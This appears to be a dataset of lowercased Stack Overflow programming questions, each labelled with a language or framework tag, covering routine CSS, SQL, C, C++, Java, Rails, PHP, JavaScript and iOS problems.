how to fit white background behind fa-3x (font-awesome) icons  i find it difficult to customize the background behind the font-awesome icons i have created. i m trying to make a white background which does to extends the actually icon.     right now it looks like the image bolow:    <a href= https://i.stack.imgur.com/svams.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/svams.png  alt= enter image description here ></a>    here you can see that the white background is taken too much space around the icon.     <strong>code</strong>   <pre><code> &lt;div class= footer-icons &gt;                     &lt;a href= # &gt;&lt;i class= fa fa-pencil-square fa-3x pen-btn &gt;&lt;/i&gt;&lt;/a&gt;                 &lt;/div&gt; </code></pre>   <strong>css</strong>   <pre><code> .footer-icons a {     padding-right: 10px;      color: green;   }   .footer-icons i {     background-color: white;        border-radius: 5px;     padding-left: 3px;     padding-right: 3px;  } </code></pre>   have tried with padding-left and right with a negative value to make it smaller (stay inside the green icon)    if i remove the padding  it looks like this:    <a href= https://i.stack.imgur.com/fgolg.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/fgolg.png  alt= enter image description here ></a>    hope someone can see what i m doing wrong.,css
find uniqueidentifier in varbinary  i am pretty weak on sql  but have been tasked with fixing existing functionality. basically there are numerous uniqueidentifiers which have been stored in a varbinary(max) and i want to pull out the appropriate one. i have tried <code> select * from mytable where convert(varbinary [fieldid]) in (fieldvarbinary)</code> along with a few other simple queries - but nothing seems to be pulling back the appropriate records. am i missing something obvious     edit: example data from field - <code>0x4b9e33ff49a41f4290c51298e20a8515</code>,sql
how to create derive from templated class and overload constructor  c++  i have templated class <code>vector&lt;typename t size s&gt;</code> (i have to use this instead of <code>std::vector</code>). i would like to specify an alias which is in type of<code>vector&lt;double 2&gt;</code>   but i also need to count the amount of all created and all currently live objects of this. here s fragment of my templated class:   <pre><code>template&lt;typename t  size s&gt; class vector{   private:     t *_values;   public:     vector():       _values(new t[s]){         for(int i =0; i &lt; s; i++)           _values[i] = t();     }     ~vector(){       delete[] _values;     } }; </code></pre>   so i thought about creating class named <code>vector2d</code> which inherits <code>vector&lt;double 2&gt;</code> and with two additional static variables to count its amounts. but how to do that  how to invoke superclass constructor and destructor so that it only contains incrementation/decrementation of these two static variables  <code>vector2d</code> is going to be used often in project i have to do. maybe there is better solution      p.s how to pretty initialize <code>*_values</code>  i tried <code>*_values = { 0 }</code> but it didn t work (of course assuming this is going to be a table of primitive types).,c++
developing iphone apps without being a apple developer  i just want to know whether it is possible to not be an apple developer(i.e.  the one in which you pay $99 a year) and yet make apps only for your iphone. i mean to tell that i want to develop apps but not release them in the appstore. rather i just want to use it in my iphone. if its possible can you tell me how do i transfer it to my iphone,ios
unpermitted parameters when uploading image with tinymce  i m using <a href= https://github.com/perfectlynormal/tinymce-rails-imageupload  rel= nofollow >tinymce-rails-image-upload</a> to upload images with paperclip (following <a href= https://github.com/perfectlynormal/tinymce-rails-imageupload-demo  rel= nofollow >this</a> demo-app). when i try to upload an image i m getting an  umpermitted parameters  reminder and the image doesn t upload. the upload modal shows  got a bad response from server :   <pre><code>processing by tinymceassetscontroller#create as html parameters: { utf8 =&gt; ✓    authenticity_token =&gt; auth token    hint =&gt;     file =&gt;#&lt;actiondispatch::http::uploadedfile:0x000001025a2780   @tempfile=#  &lt;file:/var/folders/t4/86vsrmds42j84r36kwpng7k00000gn/t/rackmultipart20150207- 12522-9rj6xq&gt;  @original_filename= applecash.jpg   @content_type= image/jpeg    @headers= content-disposition: form-data; name=\ file\ ;  filename=\ applecash.jpg\ \r\ncontent-type: image/jpeg\r\n &gt;   alt =&gt;  } command :: identify -format  %wx%h %[exif:orientation]   /var/folders/t4/86vsrmds42j84r36kwpng7k00000gn/t/rackmultipart20150207-12522-9rj6xq[0]  2&gt;/dev/null unpermitted parameters: utf8  authenticity_token (0.1ms)  begin transaction question load (0.5ms)  select  questions .* from  questions  where (questions.position is not null) and (1 = 1) order by questions.position desc  limit 1 binary data inserted for `string` type on column `file_content_type` sql (0.8ms)  insert into  questions  ( created_at    file_content_type    file_file_name    file_file_size    file_updated_at    position    updated_at ) values (                   )  [[ created_at   sun  08 feb 2015 18:35:07 utc +00:00]  [ file_content_type    image/jpeg ]  [ file_file_name    timcook.jpg ]  [ file_file_size   120040]  [ file_updated_at   sun  08 feb 2015 18:35:07 utc +00:00]  [ position   9]  [ updated_at   sun  08 feb 2015 18:35:07 utc +00:00]] (7.3ms)  commit transaction completed 200 ok in 68ms (views: 0.6ms | activerecord: 8.7ms) </code></pre>   here s the controller:   <pre><code>class tinymceassetscontroller &lt; applicationcontroller respond_to :json  def create   geometry = paperclip::geometry.from_file params[:file]   question = question.create params.permit(:file  :alt  :hint)    render json: {     question: {       url:    question.file.url        height: geometry.height.to_i        width:  geometry.width.to_i     }    }  layout: false  content_type:  text/html    end end </code></pre>   and the question model:   <pre><code>class question &lt; activerecord::base   has_attached_file :file end </code></pre>   and the view:   <pre><code>&lt;%= simple_form_for [@comment  question.new] do |f| %&gt;       &lt;%= f.text_area :body  :class =&gt;  tinymce   :rows =&gt; 10  :cols =&gt; 60 %&gt; &lt;% end %&gt; &lt;%= tinymce plugins: [ uploadimage ] %&gt; </code></pre>,ruby-on-rails
mysql how to make a select sum from table and multiplication from other search   i have this query    <pre><code>select ps_ur as ur  count(ps_ur) as value  from patient_services  group by ur  union all select eng_ur as ur  count(eng_ur) as value   from engagements  where length( eng_ur )&gt;0   group by ur </code></pre>   result:   <pre><code>ur     value 002035 3 002400 2 005441 4 ... </code></pre>   now i need to calculate from patient table male/female and multiply by the value    like this but right   <pre><code>select  sum( case when patient_gender =  male  then 1 else 0 end ) male   sum( case when patient_gender =  female  then 1 else 0 end ) female  from patients where patient_ur </code></pre>   how to do this,mysql
integer printing wrong value  when converting an integer to int array  for example 123 to {1 2 3}  i am getting values {49 50 51}. not able to find what is wrong with my code.   <pre><code>public class test {     public static void main(string [] args) {         string temp = integer.tostring(123);         int[] newguess = new int[temp.length()];         for (int i = 0; i &lt; temp.length(); i++) {             newguess[i] = temp.charat(i);         }         for (int i : newguess) {             system.out.println(i);         }     } } </code></pre>   output:   <blockquote>    49        50        51  </blockquote>,java
running a python program after setting the execute bit in python 3  i was going through <a href= https://developers.google.com/edu/python/set-up#download-google-python-exercises  rel= nofollow noreferrer >google s python instructions</a> and it quotes:    <blockquote>    the commands above are the simplest way to run python programs. if the    execute bit  is set on a .py file  it can be run by name without   having to type  python  first. set the execute bit with the  chmod    command like this:  </blockquote>   where it proceeds to give me this code to run on my terminal:    <pre><code>~/google-python-exercises$ chmod +x hello.py ~/google-python-exercises$ ./hello.py   ## now can run it as ./hello.py hello world </code></pre>   however when i type in <code>./hello.py</code>  i get:     <a href= https://i.stack.imgur.com/4ipgp.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/4ipgp.png  alt= enter image description here ></a>    so is this something to do with me using <strong>python 3</strong> when this could be a command for <strong>python 2</strong>       <strong>edit</strong>    i just realised that this can only be run on a linux/mac. how does one go about doing this on a windows,python
left join but cannot keep each category in of left tables in right table  i have two tables:   <pre><code>table one: subjects: a b c d  table two: id subjects score 001 a 3 001 b 2 001 d 5 002 a 4 002 b 3 002 c 6 002 d 7  003 a 2 003 c 1 003 d 0 </code></pre>   i want to combine these two tables and get results like this   <pre><code>001 a 3 001 b 2 001 c  001 d 5 002 a 4 002 b 3 002 c 6 002 d 7 003 a 2 003 b  003 c 1 003 d 0 </code></pre>   for id number <code>001</code>  i need to show that his record for subject c is blank like <code>001 c</code>. but in my results  it s always missing like below   <pre><code> . but in my results  it s always missing like below  001 a 3 001 b 2 001 d 5 002 a 4 002 b 3 002 c 6 002 d 7 003 a 2 003 c 1 003 d 0 </code></pre>   my query is like   <pre><code>select two.*   from one    left    join two     on one.subjects = two.subjects </code></pre>,mysql
strange actionview::template::error in production  500 internal server error  i have encountered a strange error message when i try to load certain pages of my site (most pages  actually) on my test production server.   <pre><code>started get  /students  for 10.0.0.68 at mon sep 17 12:53:16 +0100 2012 processing by studentscontroller#index as html   rendered shared/_alerts.html.erb (0.7ms)    rendered students/_student_search.html.erb (0.0ms)   rendered students/index.html.erb within layouts/application (17.8ms) completed 500 internal server error in 92ms  actionview::template::error (syntax error on line 4  col 586: `      state: [ 北海道   青森県   岩手県   宮城県   秋田県   山形県   福島県   茨城県   栃木県   群馬県   埼玉県   千葉県   東京都   神奈川県   新潟県   富山県   石川県   福井県   山梨県   長野県   岐阜県   静岡県   愛知県   三重県   滋賀県   京都府   大阪府   兵庫県   奈良県   和歌山県   鳥取県   島根県   岡山県   広島県   山口県   徳島県   香川県   愛媛県   高知県   福岡県   佐賀県   長崎県   熊本県   大分県   宮崎県   鹿児島県   沖縄県 ] ):     59:     &lt;% end %&gt;     60:          61:     &lt;div class= sidebar_item &gt;     62:       &lt;h2&gt;filter by &lt;%= t(:class) %&gt;&lt;/h2&gt;     63:       &lt;div class= content &gt;     64:              65:         &lt;% if klass.where(:tutor_group =&gt; false).count &gt; 0 %&gt;   app/views/students/index.html.erb:62:in `_app_views_students_index_html_erb___542210558__648905548    app/views/students/index.html.erb:35:in `_app_views_students_index_html_erb___542210558__648905548  </code></pre>   whichever page it happens on the error message is always the same (same line and col numbers) but the filenames are different and the quoted code changes too. as far as i know or can see there are none of these japanese characters anywhere in my code. it seems like some encoding issue or something but i really have no idea and i don t know where to begin to debug it.    my env:   <pre><code>deploy@mike-test:~$ ruby -v ruby 1.8.7 (2010-08-16 patchlevel 302) [i686-linux] deploy@mike-test:~$ rails -v rails 3.2.0 deploy@mike-test:~$ gem -v 1.8.15 deploy@mike-test:~$ /opt/nginx/sbin/nginx -v nginx version: nginx/1.2.3 built by gcc 4.5.2 (ubuntu/linaro 4.5.2-8ubuntu4)  tls sni support enabled configure arguments: --prefix=/opt/nginx --with-http_ssl_module --with-http_gzip_static_module --with-cc-opt=-wno-error --with-pcre=/tmp/root-passenger-16778/pcre-8.31 --add-module=/usr/local/lib/ruby/gems/1.8/gems/passenger-3.0.17/ext/nginx deploy@mike-test:~$ passenger -v phusion passenger version 3.0.17 </code></pre>   ubuntu is 11.04.    <strong>update:</strong> ok  i narrowed the problem down somewhat. figured out it s to do with the method call t(:class)  which is a rails helper method for translation  and that appears in my views quite a bit (i m new to this app  so still getting my head around how it s written). judging by the two locale files that are present  this is meant to return either  school   or  class  depending on the locale setting. what i still don t know is why it is causing this error  though.,ruby-on-rails
sql query - list number of items based on qty  i am using ms sql 2008. i wonder if it is possible to produce a query that displays the results based on the qty.  please let me explain how i want it to look like.    let s say  i have this table and a simple query to list the records:   <pre><code>table =  table1  product = varchar(100) qty = int  select product  productdesc  qty from table1  results: product     productdesc     qty abc1        test1           2 abc2        test2           3 </code></pre>   is there a way to query that based on the qty column and listing the number of records like this result below:   <pre><code>**wanted results:** product     productdesc     number abc1        test1           1 abc1        test1           2 abc2        test2           1 abc2        test2           2 abc2        test2           3    </code></pre>,sql
how to get each bar cgmutablepathref in bar chart created by using core plot   i found below method in existing framework. can any one please suggest me how can i use this method    -(cgmutablepathref)newbarpathwithcontext:(cgcontextref)context recordindex:(nsuinteger)index    thanks in advance,iphone
plural program in c  when i run program the plural words have a bunch of random stuff after it  so the problem is that whenever i enter a word  the plural version of the word has a bunch of random junk that follows it. here is an <a href= https://gyazo.com/b3810870567fc85ed9751d28299649a3  rel= nofollow noreferrer >example of the problem</a> .  this is majority of the code(if you need more of it i will put more)  also if you see any other problems could you please let me know   thank you so much.   <pre><code>char * getword() {     //make char array of size 20 using malloc     char *word;     word = malloc(20);     //give the msg to user     printf( enter a word  );     //take input from user     scanf( %s   word);     printf( \n );     //return word     return word; } //change word to uppercase void touppercase(char *word) {     int i = 0;     while (word[i] !=  \0 )     {         if (word[i] &gt;= 65 &amp;&amp; word[i] &lt;= 90)         {             //it is upper case latter so do nothing         }         else if (word[i] &gt;= 97 &amp;&amp; word[i] &lt;= 122)         {             word[i] = word[i] - 32;         }         i++;     } } //function which will determine which rule applies to given word int findrule(char *word) {     int n;//length of word     n = strlen(word);      //last char is y then rule 1     if (word[n - 1] ==  y )         return 1;     //end is s ch sh then rule 2     else if ((word[n - 1] ==  s ) || (n &gt;= 2 &amp;&amp; (word[n - 1] ==  h  &amp;&amp; (word[n - 2] ==  c  || word[n - 2] ==  s ))))     {         return 2;     }     //else rule 3     else return 3; } //rule one char *ruleone(char *word) {     int n;//length of word     n = strlen(word);     //make char array of size 20 using malloc     char *ans;     ans = malloc(n + 2);     //copy all char except last     for (int i = 0; i&lt;n - 1; i++)     {         ans[i] = word[i];     }     //add ies in place of y     ans[n - 1] =  i ;     ans[n] =  e ;     ans[n + 1] =  s ;     return ans; }  //rule 2 char *ruletwo(char *word) {      int n;//length of word     n = strlen(word);     //make char array of size 20 using malloc     char *ans;     ans = malloc(n + 2);     //copy all char     for (int i = 0; i&lt;n; i++)     {         ans[i] = word[i];     }     //add two char e and s     ans[n] =  e ;     ans[n + 1] =  s ;     return ans; } //rule 3 char *rulethree(char *word) {     int n;//length of word     n = strlen(word);     //make char array of size 20 using malloc     char *ans;     ans = malloc(n + 1);     //copy all char     for (int i = 0; i&lt;n; i++)     {         ans[i] = word[i];     }     //add s     ans[n] =  s ;     return ans; }  int main() {     //geets the user     greets();     //open file to write      fptr = fopen( pluralwords.txt    w );     //if file not open     if (fptr == null)     {         printf( error to open file!\n );         exit(1);     }     else     {         //file opened         printf( %s\n    the output file pluralwords.txt is open\n );         printf( %s\n    ---------------------------------------\n );         while (1)         {              //ask the msg that user want enter a number or not y/y(yes)  n/n (no)             printf( %s    would you like to enter a word y (yes) or n (no)  );             //it is for check yes or no             char c[2];             scanf( %s   c);              if (c[0] ==  n  || c[0] ==  n )             {                 printf( thank you for trying out the pluralizer! );                 printf( \nclosing the file pointer );                 fclose(fptr);                 break;             }             else if (c[0] ==  y  || c[0] ==  y ) {                 printf( \n );                 //make cahr array using pointer and malloc function                 char *word = malloc(20);                 //read input                 word = getword();                 //convert to upper case                 touppercase(word);                 printf( %s\n   word);                  //find rule                 int rule = findrule(word);                  printf( rule is %d\n   rule);                  char *ans = malloc(22);                 //call coresponding function with rule                 if (rule == 1)                 {                      //call ruleone                     ans = ruleone(word);                  }                 else if (rule == 2)                 {                      //call ruletwo                     ans = ruletwo(word);                 }                 else                 {                      //call rulethree                     ans = rulethree(word);                  }                 //output to screen                 printf( word is %s and plural is %s\n\n   word  ans);                 //msg to user                 printf( adding the words to the file\n );                 //wrtie to file                 fprintf(fptr   %s   %s\n   word  ans);                 printf( \n\n ); </code></pre>,c
where can i find a good example of archiving objects for persistence for the iphone sdk  i have an object that contains about half a dozen properties. i expect to save maybe a dozen or more of these objects to my documents folder. my solution is to save the data using nsencoding and nskeyed/archiver/unarchiver. anyone have a better strategy or approach.,iphone
how can i create 2  columns  layout within a uiview  i have a cell.xib which is for each cell in a table view. in the cell.xib  i have a uiview and my question is how can i create 2  columns  within the uiview    <pre><code>----------------------------------------- | uilabel1            uilabel2          | | uilabel3            uilabel4          | ----------------------------------------- </code></pre>   how can i make uilabel2 and uilabel4 to start at half of the width of the parent uiview,ios
how to calculate weighted mean without numpy (or any package)  i m try to reduce the dependency on packages and finds solutions to some statistical questions on mean  median  mode and weighted mean.    so basically i have two arrays  let us call them a and b with n elements. what will be the weighted mean of elements in b.    here i do not want to use def weightedmean either. is there any way to do this,python
possible parameter/combinations for getasynckeystate - c++  i have been trying to find out the total list of parameters for function <strong>getasynckeystate()</strong>    i have checked <a href= http://msdn.microsoft.com/en-gb/library/windows/desktop/ms646293%28v=vs.85%29.aspx  rel= nofollow noreferrer >msdn</a> and many other google search results pages but cannot find a definite answer.    for example   <pre><code>char t = 58; (would be number 4) char y = 8;  (would be backspace key) </code></pre>   my reason to know these is so that i can use a loop to query the function with each possible parameter.   <pre><code>for(i = 0; i &lt;= 500; i++)  {       if(getasynckeystate(i) == -32767)       {            cout &lt;&lt;  key pressed :  ;            cout &lt;&lt; i &lt;&lt; endl;       }   }     </code></pre>   i would rather know the possible parameters and not take a shot in the dark randomly as in my loop checking upto 500.,c++
remove ads or hide adview  i m trying to hide the ads from admob after 2 minutes  what i ve done is  after 2 minutes  i ll stop requesting fresh ad and to hide adview  have written   <pre><code>if (adview.getvisibility() == adview.visible)      adview.setvisibility(adview.gone); </code></pre>   what s happening is ad becomes invisible but still occupies the space  not releasing it. and i want to release that space.    any ideas  thanks in advance.,android
setonclicklistener and setontouchlistener at one time in android  i am new to android and having a requirement that setonclicklistener and setontouchlistener both work at one time.i m performing some operation on the adapter side where i m having the imageview.some code to understand     adapter class:   <pre><code>public class taukygridview extends baseadapter{  holder.imageview.setonclicklistener(new onclicklistener() {  //some click operation here });  holder.imageview.setontouchlistener(new mytouchlistener());  holder.imageview.setontouchlistener(new mydraglistener());  } </code></pre>   here is the mytouchlistener class description:   <pre><code>public class mytouchlistener implements ontouchlistener {     private context mcontext;     public static int view_position=0;     public static view first_image_view;  @override     public boolean ontouch(view v  motionevent event) {         // todo auto-generated method stub //some touch operation here } } </code></pre>   here is some description on the drag operation..   <pre><code>public class mydraglistener implements ondraglistener { @override     public boolean ondrag(view v  dragevent event) { // todo auto-generated method stub    switch(v.getid): {   //some drag operation here  } } </code></pre>   so while running the app only the touch operation work and if the touch operation return false then only the click operation work but can t omit or comprise any of the operation(actually i m performing click for selection and touch for the drag and drop operation).so can any one suggest me how can do all the operation without disabling any of the operation mention above.any reply will be very helpfull.thanks,android
tuples and list arrangements in python  these fours  teams  consequently did total number of  goals :   <pre><code>teams = [ w    x    y    z ] goals = [4  5  1  9] </code></pre>   now  how to know which team did following goals    <pre><code>given_goals = [3  2  7  15] </code></pre>   the expected answer should be in this form:   <pre><code>answers = [( w   (2  3))             ( x   7)             ( z   15)] </code></pre>   <code>w</code> made 4 consecutive goals therefore the 2nd and 3rd goal is theirs. then <code>x</code> made 5 consecutive goals (5-10) after <code>w</code> so goal number 7 is theirs and so on.    i tried but it seems difficult way:   <pre><code>teams_ = [team for team  goal in zip(teams  goals) for g in range(goal)]  teams_goals = [teams_[g-1] for g in given_goals] print teams_goals </code></pre>   is there an easier way,python
using arrays  for and if structures with input file  i m working on a program in c that calculates the surface distance between any two cities on earth. the program is given a .txt input file containing the names of cities and their respective coordinates in both degrees and minutes. from the input file  all of the data must be read into an array through fscanf. i wrote the program based off of my knowledge of c using for and if statements but it isn t outputing correctly.    this is my input file:   <pre><code>8 montreal       45.0 30.5 n  73.0 33.2 w london         51.0 30.7 n   0.0  7.2 w chicago        41.0 52.7 n  87.0 37.8 w melbourne      37.0 48.8 s 144.0 57.8 e vladivostok    43.0  8.2 n 131.0 54.7 e  johannesburg   26.0 12.2 s  28.0  2.8 e los-angeles    34.0  2.6 n 118.0 13.8 w rio-de-janeiro 22.0 54.2 s  43.0 12.6 w </code></pre>   and this is my program so far which runs without syntax error   <pre><code>/******************************************************************************     program description:    this program computes the distance between two cities.  longitude and    latitude coordinates are converted from degrees and minutes to radians    relative to the north pole and the prime meridian which passes through    greenwich  england.  after converting the cities positions to radians     the angular separation is calculated between two cities.  finally  the    surface distance between the two cities is calculated.  the results are    printed to the computer screen.     description of variables for structure:    name         | type      | description    ----------------------------------------------------------------------------    hem          | char      | hemisphere of a city in the structure    dir          | char      | longitude direction of a city in the structure    cname        | char      | array of city names in the structure    latdeg       | double    | latitude coordinates in degrees in the structure    latmin       | double    | latitude coordinates in minutes in the structure    londeg       | double    | longitude coordinates in degrees in the structure    lonmin       | double    | longitude coordinates in minutes in the structure     description of variables for main function:    name         | type      | description    ----------------------------------------------------------------------------    earth_radius | symbolic  | radius of the earth     pi           | symbolic  | math constant    cdata        | structure | array of cities read from input file    i            | int       | loop control variable    ncities      | int       | number of cites read from the input file      sep_angle    | double    | computed separation angle between two cities    distance     | double    | computed surface distance between two cities    alpha1       | double    | computed latitude of first city in radians    alpha2       | double    | computee latitude of second city in radians    beta1        | double    | computed longitude of first city in radians    beta2        | double    | computed longitude of second city in radians    city_data    | pointer   | pointer variable for input file ******************************************************************************/     /* preprocessor directives */ #include &lt;stdio.h&gt; #include &lt;math.h&gt; #define inputfile  c:\\engr 200\\cities.txt  #define pi 3.141592654 #define earth_radius 3958.89  /* define the structure for cities */ struct cities {        char hem  dir  cname[8];        double latdeg  latmin  londeg  lonmin;  };  /* main function */ int main(void) {    /* declare the structure */    struct cities cdata[8];     /* declare variables */    double sep_angle  distance  alpha1  alpha2  beta1  beta2;    int i  ncities;    file *city_data;     /* open input file */    city_data = fopen(inputfile  r );     /* verify input file and read input data */    if(city_data == null)    {       printf( \n\nerror opening input file. );       printf( \nprogram terminated. );       printf( \n\n\npress enter to quit.\n );       getchar(); getchar();       return 0;    }    else    {       /* read control number from input file */       fscanf(city_data  %i  &amp;ncities);        /* read city data into array structure from input file */       for(i=1; i&lt;=ncities; i++ )       {       fscanf(city_data   %s %3.0f %3.0f %c %3.0f %3.0f %c  cdata[i].cname        &amp;cdata[i].latdeg &amp;cdata[i].latmin cdata[i].hem &amp;cdata[i].londeg        &amp;cdata[i].lonmin cdata[i].dir);       }    }     /* print main headings to computer screen */    printf( city                 latitude      longitude\n\n );     /* compute and print distance between 2 cities */    for(i=1; i&lt;=ncities; i = i + 2 )    {       /* print two cities to computer screen */       printf( %-15s    %3.0fø %4.1f %c    %3.0fø %4.1f %c                \n%-15s    %3.0fø %4.1f %c    %3.0fø %4.1f %c\n                cdata[i].cname cdata[i].latdeg cdata[i].latmin               cdata[i].hem cdata[i].londeg cdata[i].lonmin cdata[i].dir               cdata[i+1].cname cdata[i+1].latdeg cdata[i+1].latmin               cdata[i+1].hem cdata[i+1].londeg cdata[i+1].lonmin               cdata[i+1].dir);        /* convert latitude to radians for city 1 */       if(cdata[i].hem ==  n )       {alpha1 = (90.0-cdata[i].latdeg)*(pi / 180.0 );}       else       {alpha1 = (90.0+cdata[i].latdeg)*(pi / 180.0 );}        /* convert latitude to radians for city 2 */       if(cdata[i+1].hem ==  n )       {alpha2 = (90.0-cdata[i+1].latdeg)*(pi / 180.0 );}       else       {alpha2 = (90.0+cdata[i+1].latdeg)*(pi / 180.0 );}        /* convert longitude to radians for city 1 */                  if(cdata[i].dir ==  w )       {beta1 = (cdata[i].londeg)*(pi / 180.0 );}       else       {beta1= (360.0-cdata[i].londeg)*(pi / 180.0 );}        /* convert longitude to radians for city 2 */             if(cdata[i+1].dir ==  w )       {beta2= (cdata[i+1].londeg)*(pi / 180.0 );}       else        {beta2= (360.0-cdata[i+1].londeg)*(pi / 180.0 );}        /* compute angular separation between city 1 and city 2 */       sep_angle = ((acos(cos(alpha1))*(cos(alpha2)))+((sin(alpha1))*(sin(alpha2))       *(cos(beta2-beta1))));        /* compute the distance between city 1 and city 2 */       distance = earth_radius*sep_angle;        /* print distance between city 1 and city 2 to computer screen */       printf( distance between the two cities = %6.1f miles\n\n\n  distance);    }     /* close input file */    fclose(city_data);     /* exit program */    printf( \n\n\npress enter to quit.\n );    getchar(); getchar();    return 0; } /*********************************************************************/ </code></pre>   after i compile and run the .exe  all that shows up is:   <pre><code>city                 latitude      longitude  montreal             0000000000080980980385690835600000 etc. </code></pre>   and the rest is all random zeros and huge numbers :/    i m supposed to get something like this:   <pre><code>city                 latitude      longitude  montreal             45° 30.5 n   73° 33.2 w london               51° 30.7 n   0.0  7.2 w distance between the two cities = xxxx.x miles  chicago              41° 52.7 n   87° 37.8 w  melbourne            37° 48.8 s  144° 57.8 e distance between the two cities = xxxx.x miles   and so on for the rest of the cities in the input file..... </code></pre>   what could be causing this  let me know if there is anything else that i should add.    edit: i think that they program derails itself while reading in the data with fscanf,c
right to left braces direction issue  angualrjs  i try to solve language problem with braces.    i have a table and i populate <code>td</code>s like:   <pre><code>&lt;td&gt;{{item.biz_name +   \(  + item.id +  \) }}&lt;/td&gt; </code></pre>   where <code>biz_name</code> might be in hebrew or english.    by default i have style <code>direction: rtl;</code> for all table rows. if i ll change to <code>ltr</code> i get the results vise versa.    i found some info <a href= http://symbolcodes.tlt.psu.edu/web/tips/align.html  rel= nofollow noreferrer >here</a> but it doesn t help me a lot.    the solution is to change style (<code>ng-style</code>) for specific <code>td</code> that contains english chars.    so it should be some <code>if</code> statement: if eng => set style <code>ltr</code> otherwise <code>rtl</code>.    how can i achieve that with angular     thanks     here is a <kbd><a href= http://jsfiddle.net/sawsa/943/  rel= nofollow noreferrer >fiddle</a></kbd> (see row 19)    <img src= https://i.stack.imgur.com/qcc6b.png  alt= enter image description here >    <strong>[edit]</strong>    it works well in ie9-10 but not in chrome,angularjs
need to show div after .validate is complete  i am using the validate plugin for jquery and want to show a loading div and hide the submit button after the validation is complete. the next page takes a while to load show i need to show a loading .gif and some text to let the user know what is happening.    i can t do a simple on click show div1 and hide the submit button function because if there is an error then the button is hidden.    any suggestions on how i can do this,jquery
parse error: syntax error  unexpected  =>  (t_double_arrow)  why would i get    <blockquote>    parse error: syntax error  unexpected  =>  (t_double_arrow)  </blockquote>   when i use this in a prepared pdo statment.    <pre><code>            $stmt-&gt;execute(              :name  =&gt; $nme               :street  =&gt; $strt               :suburb  =&gt; $sbrb               :city  =&gt; $cty               :province  =&gt; $cnty               :country  =&gt; $cntry         ); </code></pre>   it was dont on the example of   <pre><code>$id = 5; $name =  joe the plumber ;  try {   $pdo = new pdo( mysql:host=localhost;dbname=somedatabase   $username  $password);   $pdo-&gt;setattribute(pdo::attr_errmode  pdo::errmode_exception);    $stmt = $pdo-&gt;prepare( update sometable set name = :name where id = :id );   $stmt-&gt;execute(array(      :id    =&gt; $id       :name  =&gt; $name   ));    echo $stmt-&gt;rowcount(); // 1 } catch(pdoexception $e) {   echo  error:   . $e-&gt;getmessage(); } </code></pre>,php
how to merge duplicate elements   i have one list  l  and their corresponding values  v :   <pre><code>l = [ x    x    y    z ]  v = [3  2  3  5] </code></pre>   how to merge duplicate elements  the expected result is:   <pre><code>res_l = [ x    y    z ] res_v = [(3  2)  3  5] </code></pre>   i tried as:   <pre><code>l = set(l) for x in l: </code></pre>   ...,python
thinning a line  i am writing software that detects an images outline  thins it to a  single pixel  thick  then performs operations on the resulting outline. my hope is to eventually get the following:    <img src= https://i.stack.imgur.com/g3crm.png  alt= enter image description here >    i have written software that detects the rgba colors  converts it to hsb  asks for a limit that sets whether a pixel is an outline or not (typically some value around 0.25  and checking the b (brightness) value)  and then stores true or false in a 2-dimensional array of booleans (true is an outline  false is not). this gets me to stage 2 just fine. i am currently stuck on stage 3  and am currently attempting to achieve the following:    <img src= https://i.stack.imgur.com/4cbp6.png  alt= http://i.imgur.com/bts6mir.png >    here is my current code  where the <code>outline[][]</code> variable is the original 2d array of trues/falses (stage 2) and <code>thinned[][]</code> is the outline in stage 3.   <pre><code>public void thinoutline() {     thinned = new boolean[outline.length][outline[0].length];     for (int x = 0; x &lt; thinned.length; x++)         for (int y = 0; y &lt; thinned[0].length; y++) {             if (x &gt; 0 &amp;&amp; x &lt; thinned.length - 1 &amp;&amp; y &gt; 0 &amp;&amp; y &lt; thinned[0].length - 1)                 if (!thinned[x + 1][y] &amp;&amp; !thinned[x - 1][y] &amp;&amp; !thinned[x][y + 1] &amp;&amp; !thinned[x][y - 1] &amp;&amp; outline[x][y])                     thinned[x][y] = true;                 else                     thinned[x][y] = false;             else                 thinned[x][y] = outline[x][y];         } } </code></pre>,java
how to hide index of users (in json) from public   right now i have a js script to autocomplete username input. i m also using the active_model_serializers gem. the js script is pulling the list of users from the index action of the users controller as such:    users_controller.rb   <pre><code>def index  @users = user.all  render(json: @users  each_serializer: userserializer) end </code></pre>   at.js autocomplete   <pre><code>$( document ).on( turbolinks:load   function() {     $(function(){     $( [data-behavior= autocomplete ] ).atwho({ at: @   limit: 5   data :  /users.json  }); }); }) </code></pre>   of course  when i visit example.com/users it shows me the entire list of users as json output. how do i allow my js script to see this but block it from public view  any help is appreciated. thanks.,ruby-on-rails
cannot register ios device on apple developer  i m new to ios development. i need to register a new ipad with my apple developer account. when i login to <a href= https://developer.apple.com/account/ios/device/devicelist.action  rel= nofollow >apple developer site</a> the and going into devices -> all the plus button is disabled even though it say  you can register 59 additional devices,ios
function to check email on javascript doesn t work  i m trying to check an email field on my website but the function that i have always returns false. the regular expression seems right but the function is not working properly.    here is the code:   <pre><code>function checkemail(email) { //regular expression to check the email field var expr = /^([0-9a-za-z]+([_.-] [0-9a-za-z]+)*@[0-9a-za-z]+[0-9 a-z a-z . -]*(.){1}[a-za-z]{2 4})+$/;  if (expr.test(email)) {     document.getelementbyid( alertemail ).innerhtml =  &lt;img title= valid email  src= images/icook.jpg  alt= ok /&gt; ;     f = true;     return true; } else {     document.getelementbyid( alertemail ).innerhtml =  &lt;img title= invalid email!  src= images/icoerro.gif  alt= erro /&gt; ;     f = false;     return false; } } </code></pre>   any ideias      thank y all so much for the help,javascript
how to get url string parameter  actually i am a student and a beginner i am making a online wish webpage as a test project and i want to display the sender s name in html i have successfully completed with that but i want to get the url string parameter text how can i do it    my website address pattern is like www.subdomain.domain.tld/page/ n=(sender_encoded_name)    so i want to fetch data from n parameter of the url and decode it.    i had searched alot online regarding this and got confused so please help me with the actual method    i tried using this code    <pre><code>var reqparam = urldecoder.decode(reqparam   utf-8 ) </code></pre>   but i am a little bit confused do please help me as necessary...,javascript
count and column name in same query  my query   <pre><code>select count(distinct alloc.[code4]) as countcode4 code4  table2.itemid  as tbitemid2       from table1 table 2 where table1.id=table2.id group by code4  tbitemid2 </code></pre>   i want the query to give me the count and return only 1 instance of  code4     how do i do this                                       thanks mithil,sql
